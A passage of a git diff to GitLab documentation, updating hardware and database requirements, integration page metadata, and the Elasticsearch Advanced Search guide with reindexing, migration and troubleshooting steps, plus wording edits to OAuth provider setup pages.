storage](../administration/nfs.md#avoid-using-awss-elastic-file-system-efs). +NOTE: +Since file system performance may affect the overall performance of GitLab, [we don't recommend using AWS EFS for storage](../administration/nfs.md#avoid-using-awss-elastic-file-system-efs). ### CPU -CPU requirements are dependent on the number of users and expected workload. Your exact needs may be more, depending on your workload. Your workload is influenced by factors such as - but not limited to - how active your users are, how much automation you use, mirroring, and repo/change size. +CPU requirements are dependent on the number of users and expected workload. Your exact needs may be more, depending on your workload. Your workload is influenced by factors such as - but not limited to - how active your users are, how much automation you use, mirroring, and repository/change size. The following is the recommended minimum CPU hardware guidance for a handful of example GitLab user base sizes. @@ -121,7 +121,7 @@ The following is the recommended minimum CPU hardware guidance for a handful of ### Memory -Memory requirements are dependent on the number of users and expected workload. Your exact needs may be more, depending on your workload. Your workload is influenced by factors such as - but not limited to - how active your users are, how much automation you use, mirroring, and repo/change size. +Memory requirements are dependent on the number of users and expected workload. Your exact needs may be more, depending on your workload. Your workload is influenced by factors such as - but not limited to - how active your users are, how much automation you use, mirroring, and repository/change size. The following is the recommended minimum Memory hardware guidance for a handful of example GitLab user base sizes. @@ -154,12 +154,11 @@ GitLab version | Minimum PostgreSQL version -|- 10.0 | 9.6 13.0 | 11 -13.6 | 12 You must also ensure the `pg_trgm` and `btree_gist` extensions are [loaded into every GitLab database](postgresql_extensions.html). -NOTE: **Note:** +NOTE: Support for [PostgreSQL 9.6 and 10 has been removed in GitLab 13.0](https://about.gitlab.com/releases/2020/05/22/gitlab-13-0-released/#postgresql-11-is-now-the-minimum-required-version-to-install-gitlab) so that GitLab can benefit from PostgreSQL 11 improvements, such as partitioning. For the schedule of transitioning to PostgreSQL 12, see [the related epic](https://gitlab.com/groups/gitlab-org/-/epics/2184). #### Additional requirements for GitLab Geo @@ -227,7 +226,7 @@ Redis stores all user sessions and the background task queue. The storage requirements for Redis are minimal, about 25kB per user. Sidekiq processes the background jobs with a multithreaded process. This process starts with the entire Rails stack (200MB+) but it can grow over time due to memory leaks. -On a very active server (10,000 active users) the Sidekiq process can use 1GB+ of memory. +On a very active server (10,000 billable users) the Sidekiq process can use 1GB+ of memory. ## Prometheus and its exporters @@ -271,7 +270,7 @@ For reference, GitLab.com's [auto-scaling shared runner](../user/gitlab_com/inde ## Supported web browsers -CAUTION: **Caution:** +WARNING: With GitLab 13.0 (May 2020) we have removed official support for Internet Explorer 11. GitLab supports the following web browsers: @@ -287,7 +286,7 @@ For the listed web browsers, GitLab supports: - The current and previous major versions of browsers. - The current minor version of a supported major version. -NOTE: **Note:** +NOTE: We don't support running GitLab with JavaScript disabled in the browser and have no plans of supporting that in the future because we have features such as Issue Boards which require JavaScript extensively. diff --git a/doc/integration/README.md b/doc/integration/README.md index 25e8c1a51c1..227e2eec53c 100644 --- a/doc/integration/README.md +++ b/doc/integration/README.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false --- @@ -43,14 +43,15 @@ GitLab also provides features to improve the security of your own application. F GitLab can be integrated with the following external service for continuous integration: -- [Jenkins](jenkins.md) CI. **(STARTER)** +- [Jenkins](jenkins.md) CI. ## Feature enhancements GitLab can be integrated with the following enhancements: - Add GitLab actions to [Gmail actions buttons](gmail_action_buttons_for_gitlab.md). -- Configure [PlantUML](../administration/integration/plantuml.md) to use diagrams in AsciiDoc documents. +- Configure [PlantUML](../administration/integration/plantuml.md) +or [Kroki](../administration/integration/kroki.md) to use diagrams in AsciiDoc and Markdown documents. - Attach merge requests to [Trello](trello_power_up.md) cards. - Enable integrated code intelligence powered by [Sourcegraph](sourcegraph.md). - Add [Elasticsearch](elasticsearch.md) for [Advanced Search](../user/search/advanced_global_search.md), @@ -64,12 +65,12 @@ Integration with services such as Campfire, Flowdock, HipChat, Pivotal Tracker, ### SSL certificate errors -When trying to integrate GitLab with services that are using self-signed certificates, it is very likely that SSL certificate errors will occur in different parts of the application, most likely Sidekiq. +When trying to integrate GitLab with services that are using self-signed certificates, it is very likely that SSL certificate errors occur in different parts of the application, most likely Sidekiq. There are two approaches you can take to solve this: 1. Add the root certificate to the trusted chain of the OS. -1. If using Omnibus, you can add the certificate to GitLab's trusted certificates. +1. If using Omnibus, you can add the certificate to the GitLab trusted certificates. **OS main trusted chain** diff --git a/doc/integration/akismet.md b/doc/integration/akismet.md index d290ffa92b9..a2720c82fe7 100644 --- a/doc/integration/akismet.md +++ b/doc/integration/akismet.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Akismet @@ -15,7 +15,7 @@ Admin page. Privacy note: GitLab submits the user's IP and user agent to Akismet. -NOTE: **Note:** +NOTE: In GitLab 8.11 and later, all issues are submitted to Akismet. In earlier GitLab versions, this only applied to API and non-project members. diff --git a/doc/integration/auth0.md b/doc/integration/auth0.md index 339d97cb00f..7e531682faf 100644 --- a/doc/integration/auth0.md +++ b/doc/integration/auth0.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Auth0 OmniAuth Provider diff --git a/doc/integration/azure.md b/doc/integration/azure.md index a9660e1d716..f22a94a01c7 100644 --- a/doc/integration/azure.md +++ b/doc/integration/azure.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Microsoft Azure OAuth2 OmniAuth Provider diff --git a/doc/integration/bitbucket.md b/doc/integration/bitbucket.md index 3dc6983355c..81cbc42cf45 100644 --- a/doc/integration/bitbucket.md +++ b/doc/integration/bitbucket.md @@ -1,12 +1,12 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Integrate your GitLab server with Bitbucket Cloud -NOTE: **Note:** +NOTE: Starting from GitLab 11.4, OmniAuth is enabled by default. If you're using an earlier version, you must explicitly enable it. diff --git a/doc/integration/cas.md b/doc/integration/cas.md index e61988c3301..5a198e85f5c 100644 --- a/doc/integration/cas.md +++ b/doc/integration/cas.md @@ -1,12 +1,12 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # CAS OmniAuth Provider -To enable the CAS OmniAuth provider you must register your application with your CAS instance. This requires the service URL GitLab will supply to CAS. It should be something like: `https://gitlab.example.com:443/users/auth/cas3/callback?url`. By default handling for SLO is enabled, you only need to configure CAS for backchannel logout. +To enable the CAS OmniAuth provider you must register your application with your CAS instance. This requires the service URL GitLab supplies to CAS. It should be something like: `https://gitlab.example.com:443/users/auth/cas3/callback?url`. By default handling for SLO is enabled, you only need to configure CAS for backchannel logout. 1. On your GitLab server, open the configuration file. diff --git a/doc/integration/chat_commands.md b/doc/integration/chat_commands.md index 1a4fb46046d..a0361064d87 100644 --- a/doc/integration/chat_commands.md +++ b/doc/integration/chat_commands.md @@ -3,3 +3,6 @@ redirect_to: 'slash_commands.md' --- This document was moved to [integration/slash_commands.md](slash_commands.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/integration/crowd.md b/doc/integration/crowd.md index 30e3e888b29..e07e3435baf 100644 --- a/doc/integration/crowd.md +++ b/doc/integration/crowd.md @@ -3,3 +3,6 @@ redirect_to: '../administration/auth/crowd.md' --- This document was moved to [`administration/auth/crowd`](../administration/auth/crowd.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/integration/elasticsearch.md b/doc/integration/elasticsearch.md index 095c58f17fc..52275649a67 100644 --- a/doc/integration/elasticsearch.md +++ b/doc/integration/elasticsearch.md @@ -2,7 +2,7 @@ type: reference stage: Enablement group: Global Search -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Elasticsearch integration **(STARTER ONLY)** @@ -23,8 +23,8 @@ and the advantage of the following special searches: | GitLab version | Elasticsearch version | |---------------------------------------------|-------------------------------| -| GitLab Enterprise Edition 13.6 or greater | Elasticsearch 7.x (6.4 - 6.x deprecated to be removed in 13.8) | -| GitLab Enterprise Edition 13.2 through 13.5 | Elasticsearch 6.4 through 7.x | +| GitLab Enterprise Edition 13.9 or greater | Elasticsearch 6.8 through 7.x | +| GitLab Enterprise Edition 13.3 through 13.8 | Elasticsearch 6.4 through 7.x | | GitLab Enterprise Edition 12.7 through 13.2 | Elasticsearch 6.x through 7.x | | GitLab Enterprise Edition 11.5 through 12.6 | Elasticsearch 5.6 through 6.x | | GitLab Enterprise Edition 9.0 through 11.4 | Elasticsearch 5.1 through 5.5 | @@ -83,6 +83,12 @@ After the data is added to the database or repository and [Elasticsearch is enabled in the Admin Area](#enabling-advanced-search) the search index will be updated automatically. +## Upgrading to a new Elasticsearch major version + +Since Elasticsearch can read and use indices created in the previous major version, you don't need to change anything in the GitLab configuration when upgrading Elasticsearch. + +The only thing worth noting is that if you have created your current index before GitLab 13.0, you might want to [reclaim the production index name](#reclaiming-the-gitlab-production-index-name) or reindex from scratch (which will implicitly create an alias). The latter might be faster depending on the GitLab instance size. Once you do that, you'll be able to perform zero-downtime reindexing and you will benefit from any future features that will make use of the alias. + ## Elasticsearch repository indexer For indexing Git repository data, GitLab uses an [indexer written in Go](https://gitlab.com/gitlab-org/gitlab-elasticsearch-indexer). @@ -157,7 +163,7 @@ PREFIX=/usr sudo -E make install After installation, be sure to [enable Elasticsearch](#enabling-advanced-search). -NOTE: **Note:** +NOTE: If you see an error such as `Permission denied - /home/git/gitlab-elasticsearch-indexer/` while indexing, you may need to set the `production -> elasticsearch -> indexer_path` setting in your `gitlab.yml` file to `/usr/local/bin/gitlab-elasticsearch-indexer`, which is where the binary is installed. @@ -172,7 +178,7 @@ To enable Advanced Search, you need to have admin access to GitLab: 1. Navigate to **Admin Area** (wrench icon), then **Settings > General** and expand the **Advanced Search** section. - NOTE: **Note:** + NOTE: To see the Advanced Search section, you need an active Starter [license](../user/admin_area/license.md). @@ -218,8 +224,8 @@ The following Elasticsearch settings are available: | `AWS Secret Access Key` | The AWS secret access key. | | `Maximum file size indexed` | See [the explanation in instance limits.](../administration/instance_limits.md#maximum-file-size-indexed). | | `Maximum field length` | See [the explanation in instance limits.](../administration/instance_limits.md#maximum-field-length). | -| `Maximum bulk request size (MiB)` | The Maximum Bulk Request size is used by GitLab's Golang-based indexer processes and indicates how much data it ought to collect (and store in memory) in a given indexing process before submitting the payload to Elasticsearch’s Bulk API. This setting should be used with the Bulk request concurrency setting (see below) and needs to accommodate the resource constraints of both the Elasticsearch host(s) and the host(s) running GitLab's Golang-based indexer either from the `gitlab-rake` command or the Sidekiq tasks. | -| `Bulk request concurrency` | The Bulk request concurrency indicates how many of GitLab's Golang-based indexer processes (or threads) can run in parallel to collect data to subsequently submit to Elasticsearch’s Bulk API. This increases indexing performance, but fills the Elasticsearch bulk requests queue faster. This setting should be used together with the Maximum bulk request size setting (see above) and needs to accommodate the resource constraints of both the Elasticsearch host(s) and the host(s) running GitLab's Golang-based indexer either from the `gitlab-rake` command or the Sidekiq tasks. | +| `Maximum bulk request size (MiB)` | The Maximum Bulk Request size is used by the GitLab Golang-based indexer processes and indicates how much data it ought to collect (and store in memory) in a given indexing process before submitting the payload to Elasticsearch’s Bulk API. This setting should be used with the Bulk request concurrency setting (see below) and needs to accommodate the resource constraints of both the Elasticsearch host(s) and the host(s) running the GitLab Golang-based indexer either from the `gitlab-rake` command or the Sidekiq tasks. | +| `Bulk request concurrency` | The Bulk request concurrency indicates how many of the GitLab Golang-based indexer processes (or threads) can run in parallel to collect data to subsequently submit to Elasticsearch’s Bulk API. This increases indexing performance, but fills the Elasticsearch bulk requests queue faster. This setting should be used together with the Maximum bulk request size setting (see above) and needs to accommodate the resource constraints of both the Elasticsearch host(s) and the host(s) running the GitLab Golang-based indexer either from the `gitlab-rake` command or the Sidekiq tasks. | | `Client request timeout` | Elasticsearch HTTP client request timeout value in seconds. `0` means using the system default timeout value, which depends on the libraries that GitLab application is built upon. | ### Limiting namespaces and projects @@ -237,10 +243,10 @@ You can filter the selection dropdown by writing part of the namespace or projec  -NOTE: **Note:** +NOTE: If no namespaces or projects are selected, no Advanced Search indexing will take place. -CAUTION: **Warning:** +WARNING: If you have already indexed your instance, you will have to regenerate the index in order to delete all existing data for filtering to work correctly. To do this run the Rake tasks `gitlab:elastic:recreate_index` and `gitlab:elastic:clear_index_status`. Afterwards, removing a namespace or a project from the list will delete the data @@ -297,7 +303,7 @@ feature to atomically swap between two indices. We'll refer to each index as Instead of connecting directly to the `primary` index, we'll setup an index alias such as we can change the underlying index at will. -NOTE: **Note:** +NOTE: Any index attached to the production alias is deemed a `primary` and will be used by the GitLab Advanced Search integration. @@ -311,7 +317,7 @@ buffered and caught up once unpaused. ### Setup -TIP: **Tip:** +NOTE: If your index was created with GitLab 13.0 or greater, you can directly [trigger the reindex](#trigger-the-reindex-via-the-advanced-search-administration). @@ -327,7 +333,7 @@ export SECONDARY_INDEX="gitlab-production-$(date +%s)" ### Reclaiming the `gitlab-production` index name -CAUTION: **Caution:** +WARNING: It is highly recommended that you take a snapshot of your cluster to ensure there is a recovery path if anything goes wrong. @@ -398,7 +404,7 @@ To trigger the re-index from `primary` index: curl $CLUSTER_URL/$SECONDARY_INDEX/_count => 123123 ``` - TIP: **Tip:** + NOTE: Comparing the document count is more accurate than using the index size, as improvements to the storage might cause the new index to be smaller than the original one. 1. After you are confident your `secondary` index is valid, you can process to @@ -430,11 +436,76 @@ Under **Admin Area > Settings > General > Advanced Search > Elasticsearch zero-d Reindexing can be a lengthy process depending on the size of your Elasticsearch cluster. -CAUTION: **Caution:** +WARNING: After the reindexing is completed, the original index will be scheduled to be deleted after 14 days. You can cancel this action by pressing the cancel button. While the reindexing is running, you will be able to follow its progress under that same section. +### Mark the most recent reindex job as failed and unpause the indexing + +Sometimes, you might want to abandon the unfinished reindex job and unpause the indexing. You can achieve this via the following steps: + +1. Mark the most recent reindex job as failed: + + ```shell + # Omnibus installations + sudo gitlab-rake gitlab:elastic:mark_reindex_failed + + # Installations from source + bundle exec rake gitlab:elastic:mark_reindex_failed RAILS_ENV=production + ``` + +1. Uncheck the "Pause Elasticsearch indexing" checkbox in **Admin Area > Settings > General > Advanced Search**. + +## Background migrations + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/234046) in GitLab 13.6. + +With reindex migrations running in the background, there's no need for a manual +intervention. This usually happens in situations where new features are added to +Advanced Search, which means adding or changing the way content is indexed. + +To confirm that the background migrations ran, you can check with: + +```shell +curl "$CLUSTER_URL/gitlab-production-migrations/_search?q=*" | jq . +``` + +This should return something similar to: + +```json +{ + "took": 14, + "timed_out": false, + "_shards": { + "total": 1, + "successful": 1, + "skipped": 0, + "failed": 0 + }, + "hits": { + "total": { + "value": 1, + "relation": "eq" + }, + "max_score": 1, + "hits": [ + { + "_index": "gitlab-production-migrations", + "_type": "_doc", + "_id": "20201105181100", + "_score": 1, + "_source": { + "completed": true + } + } + ] + } +} +``` + +In order to debug issues with the migrations you can check the [`elasticsearch.log` file](../administration/logs.md#elasticsearchlog). + ## GitLab Advanced Search Rake tasks Rake tasks are available to: @@ -456,9 +527,10 @@ The following are some available Rake tasks: | [`sudo gitlab-rake gitlab:elastic:recreate_index[<TARGET_NAME>]`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Wrapper task for `gitlab:elastic:delete_index[<TARGET_NAME>]` and `gitlab:elastic:create_empty_index[<TARGET_NAME>]`. | | [`sudo gitlab-rake gitlab:elastic:index_snippets`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Performs an Elasticsearch import that indexes the snippets data. | | [`sudo gitlab-rake gitlab:elastic:projects_not_indexed`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Displays which projects are not indexed. | -| [`sudo gitlab-rake gitlab:elastic:reindex_cluster`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Schedules a zero-downtime cluster reindexing task. This feature should be used with an index that was created after GitLab 13.0. | +| [`sudo gitlab-rake gitlab:elastic:reindex_cluster`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Schedules a zero-downtime cluster reindexing task. This feature should be used with an index that was created after GitLab 13.0. | +| [`sudo gitlab-rake gitlab:elastic:mark_reindex_failed`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake)`] | Mark the most recent re-index job as failed. | -NOTE: **Note:** +NOTE: The `TARGET_NAME` parameter is optional and will use the default index/alias name from the current `RAILS_ENV` if not set. ### Environment variables @@ -506,7 +578,7 @@ For basic guidance on choosing a cluster configuration you may refer to [Elastic - Generally, you will want to use at least a 2-node cluster configuration with one replica, which will allow you to have resilience. If your storage usage is growing quickly, you may want to plan horizontal scaling (adding more nodes) beforehand. - It's not recommended to use HDD storage with the search cluster, because it will take a hit on performance. It's better to use SSD storage (NVMe or SATA SSD drives for example). - You can use the [GitLab Performance Tool](https://gitlab.com/gitlab-org/quality/performance) to benchmark search performance with different search cluster sizes and configurations. -- `Heap size` should be set to no more than 50% of your physical RAM. Additionally, it shouldn't be set to more than the threshold for zero-based compressed oops. The exact threshold varies, but 26 GB is safe on most systems, but can also be as large as 30 GB on some systems. See [Setting the heap size](https://www.elastic.co/guide/en/elasticsearch/reference/current/heap-size.html#heap-size) for more details. +- `Heap size` should be set to no more than 50% of your physical RAM. Additionally, it shouldn't be set to more than the threshold for zero-based compressed oops. The exact threshold varies, but 26 GB is safe on most systems, but can also be as large as 30 GB on some systems. See [Heap size settings](https://www.elastic.co/guide/en/elasticsearch/reference/current/important-settings.html#heap-size-settings) and [Setting JVM options](https://www.elastic.co/guide/en/elasticsearch/reference/current/jvm-options.html) for more details. - Number of CPUs (CPU cores) per node usually corresponds to the `Number of Elasticsearch shards` setting described below. - A good guideline is to ensure you keep the number of shards per node below 20 per GB heap it has configured. A node with a 30GB heap should therefore have a maximum of 600 shards, but the further below this limit you can keep it the better. This will generally help the cluster stay in good health. - Small shards result in small segments, which increases overhead. Aim to keep the average shard size between at least a few GB and a few tens of GB. Another consideration is the number of documents, you should aim for this simple formula for the number of shards: `number of expected documents / 5M +1`. @@ -524,7 +596,7 @@ This section may be helpful in the event that the other [basic instructions](#enabling-advanced-search) cause problems due to large volumes of data being indexed. -CAUTION: **Warning:** +WARNING: Indexing a large instance will generate a lot of Sidekiq jobs. Make sure to prepare for this task by having a [Scalable and Highly Available Setup](../administration/reference_architectures/index.md) or creating [extra @@ -560,7 +632,7 @@ Sidekiq processes](../administration/operations/extra_sidekiq_processes.md). In our experience, you can expect a 20% decrease in indexing time. After completing indexing in a later step, you can return `refresh` and `number_of_replicas` to their desired settings. - NOTE: **Note:** + NOTE: This step is optional but may help significantly speed up large indexing operations. ```shell @@ -609,7 +681,7 @@ Sidekiq processes](../administration/operations/extra_sidekiq_processes.md). Where `ID_FROM` and `ID_TO` are project IDs. Both parameters are optional. The above example will index all projects from ID `1001` up to (and including) ID `2000`. - TIP: **Troubleshooting:** + NOTE: Sometimes the project indexing jobs queued by `gitlab:elastic:index_projects` can get interrupted. This may happen for many reasons, but it's always safe to run the indexing task again. It will skip repositories that have @@ -712,6 +784,17 @@ However, some larger installations may wish to tune the merge policy settings: ## Troubleshooting +One of the most valuable tools for identifying issues with the Elasticsearch +integration will be logs. The most relevant logs for this integration are: + +1. [`sidekiq.log`](../administration/logs.md#sidekiqlog) - All of the + indexing happens in Sidekiq, so much of the relevant logs for the + Elasticsearch integration can be found in this file. +1. [`elasticsearch.log`](../administration/logs.md#elasticsearchlog) - There + are additional logs specific to Elasticsearch that are sent to this file + that may contain useful diagnostic information about searching, + indexing or migrations. + Here are some common pitfalls and how to overcome them. ### How can I verify that my GitLab instance is using Elasticsearch? @@ -723,7 +806,7 @@ There are a couple of ways to achieve that: This is always correctly identifying whether the current project/namespace being searched is using Elasticsearch. -- From the admin area under **Settings > General > Elasticsearch** check that the +- From the admin area under **Settings > General > Advanced Search** check that the Advanced Search settings are checked. Those same settings there can be obtained from the Rails console if necessary: @@ -771,7 +854,7 @@ More [complex Elasticsearch API calls](https://www.elastic.co/guide/en/elasticse It is important to understand at which level the problem is manifesting (UI, Rails code, Elasticsearch side) to be able to [troubleshoot further](../administration/troubleshooting/elasticsearch.md#search-results-workflow). -NOTE: **Note:** +NOTE: The above instructions are not to be used for scenarios that only index a [subset of namespaces](#limiting-namespaces-and-projects). See [Elasticsearch Index Scopes](#advanced-search-index-scopes) for more information on searching for specific types of data. @@ -790,7 +873,7 @@ You can run `sudo gitlab-rake gitlab:elastic:projects_not_indexed` to display pr ### No new data is added to the Elasticsearch index when I push code -NOTE: **Note:** +NOTE: This was [fixed in GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35936) and the Rake task is not available for versions greater than that. When performing the initial indexing of blobs, we lock all projects until the project finishes indexing. It could happen that an error during the process causes one or multiple projects to remain locked. In order to unlock them, run: @@ -845,7 +928,7 @@ see details in the [update guide](../update/upgrading_from_source.md). **For a single node Elasticsearch cluster the functional cluster health status will be yellow** (never green) because the primary shard is allocated but replicas cannot be as there is no other node to which Elasticsearch can assign a replica. This also applies if you are using the [Amazon Elasticsearch](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/aes-handling-errors.html#aes-handling-errors-yellow-cluster-status) service. -CAUTION: **Warning:** +WARNING: Setting the number of replicas to `0` is discouraged (this is not allowed in the GitLab Elasticsearch Integration menu). If you are planning to add more Elasticsearch nodes (for a total of more than 1 Elasticsearch) the number of replicas will need to be set to an integer value larger than `0`. Failure to do so will result in lack of redundancy (losing one node will corrupt the index). If you have a **hard requirement to have a green status for your single node Elasticsearch cluster**, please make sure you understand the risks outlined in the previous paragraph and then run the following query to set the number of replicas to `0`(the cluster will no longer try to create any shard replicas): @@ -869,6 +952,13 @@ Gitlab::Elastic::Indexer::Error: time="2020-01-23T09:13:00Z" level=fatal msg="he You probably have not used either `http://` or `https://` as part of your value in the **"URL"** field of the Elasticsearch Integration Menu. Please make sure you are using either `http://` or `https://` in this field as the [Elasticsearch client for Go](https://github.com/olivere/elastic) that we are using [needs the prefix for the URL to be accepted as valid](https://github.com/olivere/elastic/commit/a80af35aa41856dc2c986204e2b64eab81ccac3a). Once you have corrected the formatting of the URL, delete the index (via the [dedicated Rake task](#gitlab-advanced-search-rake-tasks)) and [reindex the content of your instance](#enabling-advanced-search). +### My Elasticsearch cluster has a plugin and the integration is not working + +Certain 3rd party plugins may introduce bugs in your cluster or for whatever +reason may be incompatible with our integration. You should try disabling +plugins so you can rule out the possibility that the plugin is causing the +problem. + ### Low-level troubleshooting There is a [more structured, lower-level troubleshooting document](../administration/troubleshooting/elasticsearch.md) for when you experience other issues, including poor performance. diff --git a/doc/integration/external-issue-tracker.md b/doc/integration/external-issue-tracker.md index a4fca36b154..b1eb9d0d2fe 100644 --- a/doc/integration/external-issue-tracker.md +++ b/doc/integration/external-issue-tracker.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # External issue tracker @@ -16,7 +16,7 @@ Once configured, you can reference external issues using the format `CODE-123`, These references in GitLab merge requests, commits, or comments are automatically converted to links to the issues. -You can keep GitLab's issue tracker enabled in parallel or disable it. When enabled, the **Issues** link in the +You can keep the GitLab issue tracker enabled in parallel or disable it. When enabled, the **Issues** link in the GitLab menu always opens the internal issue tracker. When disabled, the link is not visible in the menu. ## Configuration diff --git a/doc/integration/facebook.md b/doc/integration/facebook.md index bb699fa90b7..b86958726a7 100644 --- a/doc/integration/facebook.md +++ b/doc/integration/facebook.md @@ -1,12 +1,12 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Facebook OAuth2 OmniAuth Provider -To enable the Facebook OmniAuth provider you must register your application with Facebook. Facebook will generate an app ID and secret key for you to use. +To enable the Facebook OmniAuth provider you must register your application with Facebook. Facebook generates an app ID and secret key for you to use. 1. Sign in to the [Facebook Developer Platform](https://developers.facebook.com/). @@ -101,4 +101,4 @@ To enable the Facebook OmniAuth provider you must register your application with 1. [Reconfigure](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure) or [restart GitLab](../administration/restart_gitlab.md#installations-from-source) for the changes to take effect if you installed GitLab via Omnibus or from source respectively. -On the sign in page there should now be a Facebook icon below the regular sign in form. Click the icon to begin the authentication process. Facebook will ask the user to sign in and authorize the GitLab application. If everything goes well the user will be returned to GitLab and will be signed in. +On the sign in page there should now be a Facebook icon below the regular sign in form. Click the icon to begin the authentication process. Facebook asks the user to sign in and authorize the GitLab application. If everything goes well the user is returned to GitLab and signed in. diff --git a/doc/integration/github.md b/doc/integration/github.md index 8407920c631..c65027e3585 100644 --- a/doc/integration/github.md +++ b/doc/integration/github.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Integrate your GitLab instance with GitHub @@ -12,19 +12,19 @@ with your GitHub account. ## Enabling GitHub OAuth -To enable the GitHub OmniAuth provider, you'll need an OAuth 2 Client ID and Client Secret from GitHub. To get these credentials, sign into GitHub and follow their procedure for [Creating an OAuth App](https://developer.github.com/apps/building-oauth-apps/creating-an-oauth-app/). +To enable the GitHub OmniAuth provider, you need an OAuth 2 Client ID and Client Secret from GitHub. To get these credentials, sign into GitHub and follow their procedure for [Creating an OAuth App](https://developer.github.com/apps/building-oauth-apps/creating-an-oauth-app/). -When you create an OAuth 2 app in GitHub, you'll need the following information: +When you create an OAuth 2 app in GitHub, you need the following information: - The URL of your GitLab instance, such as `https://gitlab.example.com`. - The authorization callback URL; in this case, `https://gitlab.example.com/users/auth`. Include the port number if your GitLab instance uses a non-default port. -NOTE: **Note:** +NOTE: To prevent an [OAuth2 covert redirect](https://oauth.net/advisories/2014-1-covert-redirect/) vulnerability, append `/users/auth` to the end of the GitHub authorization callback URL. See [Initial OmniAuth Configuration](omniauth.md#initial-omniauth-configuration) for initial settings. -Once you have configured the GitHub provider, you'll need the following information, which you'll need to substitute in the GitLab configuration file, in the steps shown next. +After you have configured the GitHub provider, you need the following information, which you must substitute in the GitLab configuration file, in the steps shown next. | Setting from GitHub | Substitute in the GitLab configuration file | Description | |:---------------------|:---------------------------------------------|:------------| @@ -101,12 +101,12 @@ Follow these steps to incorporate the GitHub OAuth 2 app in your GitLab server: 1. Refresh the GitLab sign in page. You should now see a GitHub icon below the regular sign in form. -1. Click the icon to begin the authentication process. GitHub will ask the user to sign in and authorize the GitLab application. +1. Click the icon to begin the authentication process. GitHub asks the user to sign in and authorize the GitLab application. ## GitHub Enterprise with self-signed Certificate If you are attempting to import projects from GitHub Enterprise with a self-signed -certificate and the imports are failing, you will need to disable SSL verification. +certificate and the imports are failing, you must disable SSL verification. It should be disabled by adding `verify_ssl` to `false` in the provider configuration and changing the global Git `sslVerify` option to `false` in the GitLab server. @@ -125,7 +125,7 @@ gitlab_rails['omniauth_providers'] = [ ] ``` -You will also need to disable Git SSL verification on the server hosting GitLab. +You must also disable Git SSL verification on the server hosting GitLab. ```ruby omnibus_gitconfig['system'] = { "http" => ["sslVerify = false"] } @@ -142,7 +142,7 @@ For installation from source: args: { scope: 'user:email' } } ``` -You will also need to disable Git 